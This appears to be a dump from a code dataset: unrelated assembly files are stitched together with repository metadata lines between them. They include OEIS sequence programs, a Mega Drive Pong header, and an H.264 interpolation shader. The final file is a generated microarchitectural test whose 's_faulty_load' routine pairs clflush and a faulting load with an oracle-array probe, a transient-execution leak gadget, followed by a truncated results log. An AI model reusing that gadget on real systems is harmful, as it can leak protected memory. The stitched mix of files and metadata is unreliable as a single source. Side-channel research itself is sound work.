; A344236: Number of n-step walks from a universal vertex to the other on the diamond graph. ; Submitted by Jamie Morken(s3) ; 0,1,2,5,14,33,90,221,582,1465,3794,9653,24830,63441,162762,416525,1067574,2733673,7003970,17938661,45954542,117709185,301527354,772364093,1978473510,5067929881,12981823922,33253543445,85180839134,218195012913,558918369450 mov $1,$0 sub $0,1 gcd $0,2 seq $1,193649 ; Q-residue of the (n+1)st Fibonacci polynomial, where Q is the triangular array (t(i,j)) given by t(i,j)=1. (See Comments.) add $0,$1 sub $0,2
48.818182
223
0.761639
cfbbb6b44efadc9fe611802adaf5f91ac85d6572
431
asm
Assembly
oeis/076/A076662.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/076/A076662.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/076/A076662.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A076662: First differences of A007066. ; Submitted by Simon Strandgaard ; 3,3,2,3,3,2,3,2,3,3,2,3,3,2,3,2,3,3,2,3,2,3,3,2,3,3,2,3,2,3,3,2,3,3,2,3,2,3,3,2,3,2,3,3,2,3,3,2,3,2,3,3,2,3,2,3,3,2,3,3,2,3,2,3,3,2,3,3,2,3,2,3,3,2,3,2,3,3,2,3,3,2,3,2,3,3,2,3,3,2,3,2,3,3,2,3,2,3,3,2 trn $0,1 seq $0,35612 ; Horizontal para-Fibonacci sequence: says which column of Wythoff array (starting column count at 1) contains n. mod $0,2 add $0,2
47.888889
201
0.635731
feaff419afefa072ee1f1d8a3e3816060eee246f
5,179
asm
Assembly
src/header.asm
geniiii/genesis-pong
e733238cf1fe8a7d0e628b926ebfa438e42fbcda
[ "MIT" ]
null
null
null
src/header.asm
geniiii/genesis-pong
e733238cf1fe8a7d0e628b926ebfa438e42fbcda
[ "MIT" ]
1
2021-06-25T12:21:04.000Z
2021-06-25T12:21:04.000Z
src/header.asm
geniiii/genesis-pong
e733238cf1fe8a7d0e628b926ebfa438e42fbcda
[ "MIT" ]
null
null
null
ROM_Start: if (*) <> 0 fatal "Start of ROM is at address $\{*}, but it should be at address 0." endif stack_initial: equ $00FFE000 Header_Start: dc.l stack_initial ; Initial Stack Address dc.l CPU_EntryPoint ; Start of program Code dc.l BusError ; Bus error dc.l AddressError ; Address error dc.l IllegalInstructionError ; Illegal instruction dc.l IllegalInstructionError ; Division by zero dc.l IllegalInstructionError ; CHK exception dc.l ErrorTrap ; TRAPV exception dc.l ErrorTrap ; Privilage violation dc.l ErrorTrap ; TRACE exception dc.l ErrorTrap ; Line-A emulator dc.l ErrorTrap ; Line-F emulator dc.l ErrorTrap ; Reserved (NOT USED) dc.l ErrorTrap ; Co-processor protocol violation dc.l ErrorTrap ; Format error dc.l ErrorTrap ; Uninitialized Interrupt dc.l ErrorTrap ; Reserved (NOT USED) dc.l ErrorTrap ; Reserved (NOT USED) dc.l ErrorTrap ; Reserved (NOT USED) dc.l ErrorTrap ; Reserved (NOT USED) dc.l ErrorTrap ; Reserved (NOT USED) dc.l ErrorTrap ; Reserved (NOT USED) dc.l ErrorTrap ; Reserved (NOT USED) dc.l ErrorTrap ; Reserved (NOT USED) dc.l ErrorTrap ; Spurious Interrupt dc.l ErrorTrap ; IRQ Level 1 dc.l ErrorTrap ; IRQ Level 2 (EXT Interrupt) dc.l ErrorTrap ; IRQ Level 3 dc.l VDP_HInt ; IRQ Level 4 (VDP Horizontal Interrupt) dc.l ErrorTrap ; IRQ Level 5 dc.l VDP_VInt ; IRQ Level 6 (VDP Vertical Interrupt) dc.l ErrorTrap ; IRQ Level 7 dc.l ErrorTrap ; TRAP #00 Exception dc.l ErrorTrap ; TRAP #01 Exception dc.l ErrorTrap ; TRAP #02 Exception dc.l ErrorTrap ; TRAP #03 Exception dc.l ErrorTrap ; TRAP #04 Exception dc.l ErrorTrap ; TRAP #05 Exception dc.l ErrorTrap ; TRAP #06 Exception dc.l ErrorTrap ; TRAP #07 Exception dc.l ErrorTrap ; TRAP #08 Exception dc.l ErrorTrap ; TRAP #09 Exception dc.l ErrorTrap ; TRAP #10 Exception dc.l ErrorTrap ; TRAP #11 Exception dc.l ErrorTrap ; TRAP #12 Exception dc.l ErrorTrap ; TRAP #13 Exception dc.l ErrorTrap ; TRAP #14 Exception dc.l ErrorTrap ; TRAP #15 Exception dc.l ErrorTrap ; (FP) Branch or Set on Unordered Condition dc.l ErrorTrap ; (FP) Inexact Result dc.l ErrorTrap ; (FP) Divide by Zero dc.l ErrorTrap ; (FP) Underflow dc.l ErrorTrap ; (FP) Operand Error dc.l ErrorTrap ; (FP) Overflow dc.l ErrorTrap ; (FP) Signaling NAN dc.l ErrorTrap ; (FP) Unimplemented Data Type dc.l ErrorTrap ; MMU Configuration Error dc.l ErrorTrap ; MMU Illegal Operation Error dc.l ErrorTrap ; MMU Access Violation Error dc.l ErrorTrap ; Reserved (NOT USED) dc.l ErrorTrap ; Reserved (NOT USED) dc.l ErrorTrap ; Reserved (NOT USED) dc.l ErrorTrap ; Reserved (NOT USED) dc.l ErrorTrap ; Reserved (NOT USED) dc.b "SEGA MEGA DRIVE " ; Console name dc.b "GENI " ; Copyright holder and release date dc.b "PONG " ; Domestic name dc.b "PONG " ; International name dc.b "GM XXXXXXXX-XX" ; Version number dc.w $0000 ; Checksum dc.b "J " ; I/O support dc.l ROM_Start ; Start address of ROM dc.l ROM_End-1 ; End address of ROM dc.l ram_start ; Start address of RAM dc.l ram_end ; End address of RAM dc.l $00000000 ; SRAM enabled dc.l $00000000 ; Unused dc.l $00000000 ; Start address of SRAM dc.l $00000000 ; End address of SRAM dc.l $00000000 ; Unused dc.l $00000000 ; Unused dc.b " " ; Notes (unused) dc.b "JUE " ; Country codes Header_End: if (*) <> $200 fatal "End of header is at address $\{*}, but it should be at address $200. The header + the vector table must be exactly 512 bytes long" endif
53.391753
141
0.481367
13b6f519db6184189378b5cc3911426ce36c4d79
1,932
asm
Assembly
programs/oeis/116/A116721.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/116/A116721.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/116/A116721.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A116721: Number of permutations of length n which avoid the patterns 123, 3142, 4312; or avoid the patterns 123, 3421, 4231. ; 1,2,5,12,24,42,67,100,142,194,257,332,420,522,639,772,922,1090,1277,1484,1712,1962,2235,2532,2854,3202,3577,3980,4412,4874,5367,5892,6450,7042,7669,8332,9032,9770,10547,11364,12222,13122,14065,15052,16084,17162,18287,19460,20682,21954,23277,24652,26080,27562,29099,30692,32342,34050,35817,37644,39532,41482,43495,45572,47714,49922,52197,54540,56952,59434,61987,64612,67310,70082,72929,75852,78852,81930,85087,88324,91642,95042,98525,102092,105744,109482,113307,117220,121222,125314,129497,133772,138140,142602,147159,151812,156562,161410,166357,171404,176552,181802,187155,192612,198174,203842,209617,215500,221492,227594,233807,240132,246570,253122,259789,266572,273472,280490,287627,294884,302262,309762,317385,325132,333004,341002,349127,357380,365762,374274,382917,391692,400600,409642,418819,428132,437582,447170,456897,466764,476772,486922,497215,507652,518234,528962,539837,550860,562032,573354,584827,596452,608230,620162,632249,644492,656892,669450,682167,695044,708082,721282,734645,748172,761864,775722,789747,803940,818302,832834,847537,862412,877460,892682,908079,923652,939402,955330,971437,987724,1004192,1020842,1037675,1054692,1071894,1089282,1106857,1124620,1142572,1160714,1179047,1197572,1216290,1235202,1254309,1273612,1293112,1312810,1332707,1352804,1373102,1393602,1414305,1435212,1456324,1477642,1499167,1520900,1542842,1564994,1587357,1609932,1632720,1655722,1678939,1702372,1726022,1749890,1773977,1798284,1822812,1847562,1872535,1897732,1923154,1948802,1974677,2000780,2027112,2053674,2080467,2107492,2134750,2162242,2189969,2217932,2246132,2274570,2303247,2332164,2361322,2390722,2420365,2450252,2480384,2510762,2541387,2572260,2603382,2634754 mov $1,1 mov $2,6 mov $3,1 lpb $0 sub $0,1 trn $2,5 add $1,$2 add $4,$3 add $1,$4 sub $1,1 add $3,$2 add $3,1 lpe
113.647059
1,673
0.818323
e7e3ff9e2712122dcf97d2786348af61938ff317
11,051
asm
Assembly
src/shaders/h264/mc/interpolate_Y_8x8.asm
tizenorg/platform.upstream.libva-intel-driver
9ffc32731bacbfec2cef3d9fb5eb4c0c43952b90
[ "MIT" ]
null
null
null
src/shaders/h264/mc/interpolate_Y_8x8.asm
tizenorg/platform.upstream.libva-intel-driver
9ffc32731bacbfec2cef3d9fb5eb4c0c43952b90
[ "MIT" ]
null
null
null
src/shaders/h264/mc/interpolate_Y_8x8.asm
tizenorg/platform.upstream.libva-intel-driver
9ffc32731bacbfec2cef3d9fb5eb4c0c43952b90
[ "MIT" ]
null
null
null
/* * Interpolation kernel for luminance motion compensation * Copyright © <2010>, Intel Corporation. * * This program is licensed under the terms and conditions of the * Eclipse Public License (EPL), version 1.0. The full text of the EPL is at * http://www.opensource.org/licenses/eclipse-1.0.php. * */ // Kernel name: Interpolate_Y_8x8.asm // // Interpolation kernel for luminance motion compensation // // $Revision: 13 $ // $Date: 10/09/06 4:00p $ // //--------------------------------------------------------------- // In: pMV => Source address of MV // In: gMVX_FRAC<2;2,1>:w => MV fractional components // In: f0.1 (1) => If 1, vertical MV is integer // In: gpINTPY:uw => Destination address for interpolated result // In: Reference area staring from R43 // If horizontal/vertical MVs are all integer, 8x8 pixels are on R43~R44 (2 GRFs) // If only horz MV is integer, 8x13 pixels are on R43~R46 (4 GRFs) // If only vert MV is integer, 13x8 pixels are on R43~R46 (4 GRFs) // If no MVs are integer, 13x13 pixels are on R43~R49 (7 GRFs) //--------------------------------------------------------------- INTERLABEL(Interpolate_Y_8x8_Func): // Check whether MVX is integer MV and.z.f0.0 (1) null:w r[pMV,0]<0;1,0>:w 0x3:w (-f0.0) jmpi (1) INTERLABEL(Interpolate_Y_8x8_Func2) // TODO: remove this back-to-back read - huge latency.. mov (8) gubREF(6,2)<1> gubREF(3,0)<8;8,1> mov (8) gubREF(5,18)<1> gubREF(2,24)<8;8,1> {NoDDClr} mov (8) gubREF(5,2)<1> gubREF(2,16)<8;8,1> {NoDDChk} mov (8) gubREF(4,18)<1> gubREF(2,8)<8;8,1> {NoDDClr} mov (8) gubREF(4,2)<1> gubREF(2,0)<8;8,1> {NoDDChk} mov (8) gubREF(3,18)<1> gubREF(1,24)<8;8,1> {NoDDClr} mov (8) gubREF(3,2)<1> gubREF(1,16)<8;8,1> {NoDDChk} mov (8) gubREF(2,18)<1> gubREF(1,8)<8;8,1> {NoDDClr} mov (8) gubREF(2,2)<1> gubREF(1,0)<8;8,1> {NoDDChk} mov (8) gubREF(1,18)<1> gubREF(0,24)<8;8,1> {NoDDClr} mov (8) gubREF(1,2)<1> gubREF(0,16)<8;8,1> {NoDDChk} mov (8) gubREF(0,18)<1> gubREF(0,8)<8;8,1> mov (8) gubREF(0,2)<1> gubREF(0,0)<8;8,1> INTERLABEL(Interpolate_Y_8x8_Func2): // Compute the GRF address of the starting position of the reference area (-f0.1) mov (1) pREF:w nOFFSET_REF+2+nGRFWIB:w (f0.1) mov (1) pREF:w nOFFSET_REF+2:w mov (1) pRESULT:uw gpINTPY:uw /* * | | * - - 0 1 2 3 + - * 4 5 6 7 * 8 9 A B * C D E F * - - + - - - + - * | | */ // Case 0 or.z.f0.1 (16) null:w gMVY_FRAC<0;1,0>:w gMVX_FRAC<0;1,0>:w (f0.1) mov (16) r[pRESULT]<1>:uw r[pREF]<16;8,1>:ub (f0.1) mov (16) r[pRESULT,nGRFWIB]<1>:uw r[pREF,nGRFWIB]<16;8,1>:ub (f0.1) mov (16) r[pRESULT,nGRFWIB*2]<1>:uw r[pREF,nGRFWIB*2]<16;8,1>:ub (f0.1) mov (16) r[pRESULT,nGRFWIB*3]<1>:uw r[pREF,nGRFWIB*3]<16;8,1>:ub (f0.1) jmpi INTERLABEL(Exit_Interpolate_Y_8x8) // Store all address registers mov (8) gpADDR<1>:w a0<8;8,1>:w mul.z.f0.0 (1) gW4:w gMVY_FRAC:w gMVX_FRAC:w add (1) pREF1:uw pREF0:uw nGRFWIB/2:uw and.nz.f0.1 (1) null gW4:w 1:w add (2) pREF2<1>:uw pREF0<2;2,1>:uw nGRFWIB:uw mov (4) gW0<1>:uw pREF0<4;4,1>:uw (f0.0) jmpi INTERLABEL(Interpolate_Y_H_8x8) (f0.1) jmpi INTERLABEL(Interpolate_Y_H_8x8) //----------------------------------------------------------------------- // CASE: A69BE (H/V interpolation) //----------------------------------------------------------------------- // Compute interim horizontal intepolation of 12 lines (not 9 lines) // add (1) pREF0<1>:ud pREF0<0;1,0>:ud 0xffeeffde:ud // (-18<<16)|(-34) add (1) pREF0<1>:uw pREF0<0;1,0>:uw -34:w add (1) pREF1<1>:uw pREF1<0;1,0>:uw -18:w {NoDDClr} mov (1) pRESD:ud nOFFSET_INTERIM3:ud {NoDDChk} // Check whether this position is 'A' cmp.e.f0.0 (1) null gW4:w 4:w $for(0;<6;2) { add (32) acc0<1>:w r[pREF,nGRFWIB*%1]<16;8,1>:ub r[pREF0,nGRFWIB*%1+5]<16;8,1>:ub {Compr} mac (32) acc0<1>:w r[pREF,nGRFWIB*%1+1]<16;8,1>:ub -5:w {Compr} mac (32) acc0<1>:w r[pREF,nGRFWIB*%1+2]<16;8,1>:ub 20:w {Compr} mac (32) acc0<1>:w r[pREF,nGRFWIB*%1+3]<16;8,1>:ub 20:w {Compr} mac (32) r[pRES,nGRFWIB*%1]<1>:w r[pREF,nGRFWIB*%1+4]<16;8,1>:ub -5:w {Compr} } // last line add (8) acc0<1>:w r[pREF,nGRFWIB*6]<8;8,1>:ub r[pREF,nGRFWIB*6+5]<8;8,1>:ub mac (8) acc0<1>:w r[pREF,nGRFWIB*6+1]<8;8,1>:ub -5:w mac (8) acc0<1>:w r[pREF,nGRFWIB*6+2]<8;8,1>:ub 20:w mac (8) acc0<1>:w r[pREF,nGRFWIB*6+3]<8;8,1>:ub 20:w mac (8) r[pRES,nGRFWIB*6]<1>:w r[pREF,nGRFWIB*6+4]<8;8,1>:ub -5:w // Compute interim/output vertical interpolation mov (1) pREF0:ud nOFFSET_INTERIM2:ud {NoDDClr} // set pREF0 and pREF1 at the same time mov (1) pREF2D:ud nOFFSET_INTERIM4:ud {NoDDChk,NoDDClr} // set pREF2 and pREF3 at the same time (f0.0) sel (1) pRES:uw gpINTPY:uw nOFFSET_INTERIM:uw {NoDDChk} // Case A vs. 69BE $for(0;<4;2) { add (32) acc0<1>:w r[pREF0,nGRFWIB*%1]<16;16,1>:w 512:w {Compr} mac (16) acc0<1>:w r[pREF2,nGRFWIB*%1]<8,1>:w -5:w mac (16) acc1<1>:w r[pREF2,nGRFWIB*%1+nGRFWIB]<8,1>:w -5:w mac (32) acc0<1>:w r[pREF0,nGRFWIB*%1+nGRFWIB]<16;16,1>:w 20:w {Compr} mac (16) acc0<1>:w r[pREF2,nGRFWIB*%1+nGRFWIB]<8,1>:w 20:w mac (16) acc1<1>:w r[pREF2,nGRFWIB*%1+nGRFWIB+nGRFWIB]<8,1>:w 20:w mac (32) acc0<1>:w r[pREF0,(2+%1)*nGRFWIB]<16;16,1>:w -5:w {Compr} mac (16) acc0<1>:w r[pREF2,(2+%1)*nGRFWIB]<8,1>:w 1:w mac (16) acc1<1>:w r[pREF2,(2+%1)*nGRFWIB+nGRFWIB]<8,1>:w 1:w asr.sat (16) r[pRES,nGRFWIB*%1]<2>:ub acc0<16;16,1>:w 10:w asr.sat (16) r[pRES,nGRFWIB*%1+nGRFWIB]<2>:ub acc1<16;16,1>:w 10:w {SecHalf} } (f0.0) jmpi INTERLABEL(Return_Interpolate_Y_8x8) INTERLABEL(Interpolate_Y_H_8x8): cmp.e.f0.0 (1) null gMVX_FRAC:w 0:w cmp.e.f0.1 (1) null gMVY_FRAC:w 2:w (f0.0) jmpi INTERLABEL(Interpolate_Y_V_8x8) (f0.1) jmpi INTERLABEL(Interpolate_Y_V_8x8) //----------------------------------------------------------------------- // CASE: 123567DEF (H interpolation) //----------------------------------------------------------------------- add (4) pREF0<1>:uw gW0<4;4,1>:uw -2:w cmp.g.f0.0 (4) null:w gMVY_FRAC<0;1,0>:w 2:w cmp.e.f0.1 (1) null gMVX_FRAC:w 2:w (f0.0) add (4) pREF0<1>:uw pREF0<4;4,1>:uw nGRFWIB/2:uw cmp.e.f0.0 (1) null:w gMVY_FRAC<0;1,0>:w 0:w (f0.1) sel (1) pRES:uw gpINTPY:uw nOFFSET_INTERIM:uw // Case 26E vs. 1357DF // Compute interim/output horizontal interpolation $for(0;<4;2) { add (16) acc0<1>:w r[pREF0,nGRFWIB*%1]<8,1>:ub 16:w add (16) acc1<1>:w r[pREF0,nGRFWIB*%1+nGRFWIB]<8,1>:ub 16:w mac (16) acc0<1>:w r[pREF0,nGRFWIB*%1+1]<8,1>:ub -5:w mac (16) acc1<1>:w r[pREF0,nGRFWIB*%1+1+nGRFWIB]<8,1>:ub -5:w mac (16) acc0<1>:w r[pREF0,nGRFWIB*%1+2]<8,1>:ub 20:w mac (16) acc1<1>:w r[pREF0,nGRFWIB*%1+2+nGRFWIB]<8,1>:ub 20:w mac (16) acc0<1>:w r[pREF0,nGRFWIB*%1+3]<8,1>:ub 20:w mac (16) acc1<1>:w r[pREF0,nGRFWIB*%1+3+nGRFWIB]<8,1>:ub 20:w mac (16) acc0<1>:w r[pREF0,nGRFWIB*%1+4]<8,1>:ub -5:w mac (16) acc1<1>:w r[pREF0,nGRFWIB*%1+4+nGRFWIB]<8,1>:ub -5:w mac (16) acc0<1>:w r[pREF0,nGRFWIB*%1+5]<8,1>:ub 1:w mac (16) acc1<1>:w r[pREF0,nGRFWIB*%1+5+nGRFWIB]<8,1>:ub 1:w asr.sat (16) r[pRES,nGRFWIB*%1]<2>:ub acc0<16;16,1>:w 5:w asr.sat (16) r[pRES,nGRFWIB*%1+nGRFWIB]<2>:ub acc1<16;16,1>:w 5:w {SecHalf} } (-f0.1) jmpi INTERLABEL(Interpolate_Y_V_8x8) (-f0.0) jmpi INTERLABEL(Average_8x8) jmpi INTERLABEL(Return_Interpolate_Y_8x8) INTERLABEL(Interpolate_Y_V_8x8): cmp.e.f0.0 (1) null gMVY_FRAC:w 0:w (f0.0) jmpi INTERLABEL(Interpolate_Y_I_8x8) //----------------------------------------------------------------------- // CASE: 48C59D7BF (V interpolation) //----------------------------------------------------------------------- mov (2) pREF0<1>:uw gW0<4;2,2>:uw {NoDDClr} mov (2) pREF2<1>:uw gW1<2;2,1>:uw {NoDDChk,NoDDClr} mov (1) pRES:uw gpINTPY:uw {NoDDChk} cmp.g.f0.1 (4) null:w gMVX_FRAC<0;1,0>:w 2:w cmp.e.f0.0 (1) null:w gMVX_FRAC<0;1,0>:w 0:w (f0.1) add (4) pREF0<1>:uw pREF0<4;4,1>:uw 1:uw cmp.e.f0.1 (1) null gMVY_FRAC:w 2:w (-f0.0) jmpi INTERLABEL(VFILTER_8x8) (-f0.1) mov (1) pRES:uw nOFFSET_INTERIM:uw INTERLABEL(VFILTER_8x8): // Compute interim/output vertical interpolation $for(0;<4;2) { add (32) acc0<1>:w r[pREF0,nGRFWIB*%1-nGRFWIB]<16;8,1>:ub 16:w {Compr} mac (16) acc0<1>:w r[pREF2,nGRFWIB*%1-nGRFWIB]<8,1>:ub -5:w mac (16) acc1<1>:w r[pREF2,nGRFWIB*%1]<8,1>:ub -5:w mac (32) acc0<1>:w r[pREF0,nGRFWIB*%1]<16;8,1>:ub 20:w {Compr} mac (16) acc0<1>:w r[pREF2,nGRFWIB*%1]<8,1>:ub 20:w mac (16) acc1<1>:w r[pREF2,nGRFWIB*%1+nGRFWIB]<8,1>:ub 20:w mac (32) acc0<1>:w r[pREF0,nGRFWIB*%1+nGRFWIB]<16;8,1>:ub -5:w {Compr} mac (16) acc0<1>:w r[pREF2,nGRFWIB*%1+nGRFWIB]<8,1>:ub 1:w mac (16) acc1<1>:w r[pREF2,nGRFWIB*%1+nGRFWIB+nGRFWIB]<8,1>:ub 1:w asr.sat (16) r[pRES,nGRFWIB*%1]<2>:ub acc0<16;16,1>:w 5:w asr.sat (16) r[pRES,nGRFWIB*%1+nGRFWIB]<2>:ub acc1<16;16,1>:w 5:w {SecHalf} } (-f0.0) jmpi INTERLABEL(Average_8x8) (f0.1) jmpi INTERLABEL(Return_Interpolate_Y_8x8) INTERLABEL(Interpolate_Y_I_8x8): //----------------------------------------------------------------------- // CASE: 134C (Integer position) //----------------------------------------------------------------------- mov (2) pREF0<1>:uw gW0<2;2,1>:uw {NoDDClr} mov (1) pRES:uw gpINTPY:uw {NoDDChk} cmp.e.f0.0 (2) null:w gMVX_FRAC<0;1,0>:w 3:w cmp.e.f0.1 (2) null:w gMVY_FRAC<0;1,0>:w 3:w (f0.0) add (2) pREF0<1>:uw pREF0<2;2,1>:uw 1:uw (f0.1) add (2) pREF0<1>:uw pREF0<2;2,1>:uw nGRFWIB/2:uw mov (16) r[pRES]<1>:uw r[pREF0]<8,1>:ub mov (16) r[pRES,nGRFWIB]<1>:uw r[pREF0,nGRFWIB]<8,1>:ub mov (16) r[pRES,nGRFWIB*2]<1>:uw r[pREF0,nGRFWIB*2]<8,1>:ub mov (16) r[pRES,nGRFWIB*3]<1>:uw r[pREF0,nGRFWIB*3]<8,1>:ub INTERLABEL(Average_8x8): //----------------------------------------------------------------------- // CASE: 13456789BCDEF (Average) //----------------------------------------------------------------------- // Average two interim results avg.sat (16) r[pRES,0]<2>:ub r[pRES,0]<32;16,2>:ub gubINTERIM_BUF(0) avg.sat (16) r[pRES,nGRFWIB]<2>:ub r[pRES,nGRFWIB]<32;16,2>:ub gubINTERIM_BUF(1) avg.sat (16) r[pRES,nGRFWIB*2]<2>:ub r[pRES,nGRFWIB*2]<32;16,2>:ub gubINTERIM_BUF(2) avg.sat (16) r[pRES,nGRFWIB*3]<2>:ub r[pRES,nGRFWIB*3]<32;16,2>:ub gubINTERIM_BUF(3) INTERLABEL(Return_Interpolate_Y_8x8): // Restore all address registers mov (8) a0<1>:w gpADDR<8;8,1>:w INTERLABEL(Exit_Interpolate_Y_8x8): // end of file
42.019011
100
0.54891
2d567232f396a181994dc0ecb4cf1f5d565dca9c
386
asm
Assembly
programs/oeis/039/A039271.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/039/A039271.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/039/A039271.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A039271: Numbers whose base-12 representation has the same number of 8's and 11's. ; 0,1,2,3,4,5,6,7,9,10,12,13,14,15,16,17,18,19,21,22,24,25,26,27,28,29,30,31,33,34,36,37,38,39,40,41,42,43,45,46,48,49,50,51,52,53,54,55,57,58,60,61,62,63,64,65,66,67,69,70,72,73,74,75,76,77,78,79,81,82 seq $0,39218 ; Numbers whose base-12 representation has the same number of 0's and 9's. sub $0,1
64.333333
202
0.69171
6b30f3c244bd3b689a6cd5ddb6fb759a2ddba36b
5,044
asm
Assembly
Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca_notsx.log_21829_937.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca_notsx.log_21829_937.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca_notsx.log_21829_937.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0x14530, %rsi lea addresses_normal_ht+0x1bdf7, %rdi nop nop cmp $36880, %rdx mov $35, %rcx rep movsl nop nop nop nop nop sub $45446, %r13 lea addresses_WT_ht+0x11060, %rsi lea addresses_normal_ht+0x1aab0, %rdi xor %r11, %r11 mov $119, %rcx rep movsb nop nop nop cmp %r11, %r11 pop %rsi pop %rdx pop %rdi pop %rcx pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r8 push %r9 push %rbp push %rcx push %rdi push %rdx push %rsi // REPMOV lea addresses_normal+0xe178, %rsi lea addresses_WT+0x17eb0, %rdi clflush (%rsi) nop xor %rbp, %rbp mov $57, %rcx rep movsw nop nop nop nop sub %rdx, %rdx // Store lea addresses_UC+0xd0b0, %rsi clflush (%rsi) nop nop nop nop nop add %rcx, %rcx mov $0x5152535455565758, %rdi movq %rdi, %xmm3 movups %xmm3, (%rsi) nop sub %rdi, %rdi // Faulty Load lea addresses_UC+0xd0b0, %r8 nop nop nop nop nop cmp $35357, %r9 mov (%r8), %cx lea oracles, %rbp and $0xff, %rcx shlq $12, %rcx mov (%rbp,%rcx,1), %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r9 pop %r8 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_normal'}, 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_WT'}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_normal_ht'}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_normal_ht'}} {'58': 21829} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 